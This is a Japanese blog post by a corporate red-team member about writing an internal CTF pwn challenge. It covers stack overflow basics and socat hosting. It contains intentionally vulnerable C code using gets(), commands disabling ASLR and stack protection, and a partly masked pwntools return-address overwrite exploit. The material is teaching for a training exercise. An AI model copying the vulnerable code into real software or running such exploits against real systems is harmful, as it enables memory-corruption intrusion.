はじめに
自社のレッドチームではグループ会社含めた社内のセキュリティコンテスト(CTF形式)の運営も内製で始めたのですが、今回初めて作問を行う過程でCTFへの参加側とは違った学びがあり、意外と作問側観点の記事が希少だったことから、備忘録を兼ね書き留めておこうと思います。
本記事で学べること
- バッファオーバーフロー(今回扱ったのは初歩的なスタックオーバーフロー)の基本
- 作ったBOF問題にnetcat等を用いてネットワーク経由でアクセスする方法 <---メイン
0.環境(EC2上に構築)
- Ubuntu 20.04 LTS(AMIは、ubuntu-focal-20.04-amd64-server-20230517)
- libc6-dev-i386(32bitでコンパイルするためのパッケージ)
- socat(各種ソケット通信をリレーしてくれるツール)
1. バッファオーバーフローの基本
バッファオーバーフローの解説が本記事のメインではない(他に両記事が沢山ある)ため、今回の作問で扱った初歩的なスタックバッファオーバーフローについては詳細は割愛し、簡単に解説します。
まず、メモリ領域には「スタック領域」と「ヒープ領域」が存在します。主な違いは、「該当メモリの割り当てを誰が決めるのか」、「メモリ確保にあたって順序性があるか否か」になり、以下の表に示す通りです。
メモリ種別 | 誰が割り当てるか | 順序性の有無 |
---|---|---|
スタック | OSやコンパイラ | メモリの端から順番に呼び出した関数や変数の値をデータとして積んでいき、最も上に積んだデータ(一番後に積んでデータ)から消していきます。 |
ヒープ | 各プログラム | 各プログラム上で確保するメモリサイズを指定し、空き領域から該当サイズのメモリを確保します。ただ、解放する順番が決まっていないため、メモリ空間は歯抜けになることがあり、スタックのように順序性はありません。 |
今回は、スタック領域のメモリをオーバフローさせる手段を扱います。具体的には、ユーザからの入力を受け付ける関数において任意長のユーザ入力を受け付ける脆弱な標準関数を用いることで、予期せぬ挙動を引き起こしてしまうというものとなります。本挙動を実際に発生させるにあたっての簡単な手順は以下の通りです。(本部分がメインではないので詳細な説明は割愛します)
簡単な手順
- ユーザからの入力を受け付ける機能部に脆弱な標準関数を使ったコード(vuln.c)を準備します。具体的にはvuln.c中のgets関数になります。本関数は引数に格納するデータサイズの上限を指定していないため、あらかじめ確保したバッファサイズを超過する可能性があります。そのため、本関数はあらかじめメモリ上に書き込まれていたデータを上書きしてしまう恐れがある、という脆弱性を有しています。
- ASLR、Canary及びDEPが有効になっている場合は、無効化した上で、vuln.cを32bitバイナリとしてコンパイルします。ASLRやCanary、DEPの解説は長くなるのでこの場では割愛します。
- バイナリを解析することで、どこからも呼び出しがされていない関数の存在及びそのアドレス情報、vuln関数へのジャンプ時のリターンアドレス情報/位置、vuln関数内のバッファ領域、を収集します。
- 収集した情報を基にpayloadを作成しexploitします
/* Fundamental StackOverFlow */
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/types.h>
#define BUFSIZE 64
#define FLAGSIZE 64
void flag(){
char buf[FLAGSIZE];
FILE *fp = fopen("flag.txt", "r");
if(fp == NULL){
printf("You cannot open flag file.\n");
exit(0);
}
fgets(buf, FLAGSIZE, fp); /* Secure function */
printf(buf);
}
void vuln(){
char buf[BUFSIZE];
gets(buf);
printf("Input arg: %s\n", buf);
}
int main(int argc, char **argv){
setvbuf(stdout, NULL, _IONBF, 0);
gid_t gid = getegid();
setresgid(gid, gid, gid);
printf("Give me a string to know what will happen: ");
vuln();
printf("This program terminated with NO ERROR\n");
return 0;
}
sudo sysctl -w kernel.randomize_va_space=0
gcc -m32 -fno-stack-protector -z execstack hello.c -o hello.out
3点目のgdb等を用いた解析は以下記事が参考になるので、こちらを基に試してみて下さい。
2. ネットワーク経由で作成したアプリケーションに接続する方法
さて、ここからが本記事のメイントピックですが、作成した問題をCTF形式で提供するときにやりたかったことは以下の3つになります。
- 作成済みバイナリを起動し、特定のポートとバインドし接続を待ち受ける
- (当たり前ですが)複数のユーザからの接続を実現する
- バイナリを提供してgdb等のツールで対象バイナリのアドレス空間を解析してもらう
3点目は問題作成サーバにバイナリを置き権限設定を適切に行いSSH経由でアクセスさせることで、gdb環境も提供できるので良しとします。そのため、1、2点目が課題となりました。
これら課題を解決するために、当初はsocketプログラミング&並列処理、を準備する必要があるのかな(面倒くさいなー)と思っていました。しかし、非常に便利なツールがあることを知りました(知っている人からすれば普通のことなんでしょうけど。。)。それがsocatです。
socat:SOcket CAT(Multipurpose relay)
Socat is a command line based utility that establishes two bidirectional byte streams and transfers data between them.
socatは文字通り様々なソケット通信を双方向でリレーしてくれるのですが、各種パラメータを指定することで特定のportでListenしてくれる、Listenしている親プロセスへのconnectionのaccept後にforkしてくれる、forkしたプロセスに対して指定したsocket通信をリレーしてくれるという点が非常に便利で今回のCTF作問における私の要望に完璧に合致しておりました。
というわけで、以下コマンドの具体例及びパラメータの解説です。
socat tcp4-listen:12345,reuseaddr,fork EXEC:"./vuln",pty,stderr
オプション | 内容 |
---|---|
tcp4-listen:12345 | 指定したTCPポート番号(例は12345)で接続を待ち受ける。通信のリレー元になります。 |
reuseaddr | 何らかの要因で親プロセスが落ちた場合、すぐにプロセスを自動再起動してくれる(らしい) |
fork | 接続してきたコネクションごとに子プロセスとして親プロセスをフォークしてくれる。これがあるおかげでCTF(に限らずですが)のような複数コネクションが発生する場合の対処が可能。 |
EXEC:"./vuln" | 指定したアプリケーション(例は、socatコマンド実行と同一ディレクトリにあるvuln)に12345で接続してきた通信をリレーします。つまり、通信のリレー先になり、あたかもIPアドレス+ポート番号で接続をすると、本プログラムが実行されたような仕組みが出来上がります。 |
pty | 接続元と接続先で通信するために必要な仕組み(だと思っている) |
stderr | 標準エラー出力 |
上記のコマンドを実際に使って出力された画面が以下となります。元々picoCTF等で提供されていた問題形式を再現したいなと思っていた私のイメージ通りで、socatの便利さに感動しました。
で、準備が整ったところで対象バイナリをgdbで解析し、上書きされるリターンアドレスの位置、上書きまでに必要となるパディング数、上書きする新たなアドレス、を取得しexploitに向けてコードを生成します(exploit.py)
from pwn import *
## Remote object to connect
host = '15.168.x.x'
port = 13363
c = remote(host, port)
## Craft payload
payload = b'A' * 64 # defined buffer size
payload += b'B' * XX # defined buffer size
payload += p32(0x5655XXXX) # jump to "flag" func address to get the flag
print(payload)
## Exploit
c.sendline(payload)
ret = c.recvall()
print(ret)
c.close()
上記コードを実行した結果、無事にFlagを取得することができました。
おわりに
今回はCTFの運営側にまわることで初めて気付いた点や勉強になった点を備忘録として記してみました。作問にあたり色々と調べても意外と今回のような観点での記事が見当たらなかったので、今後CTF作問をされる方の参考になれば幸いです。
参考文献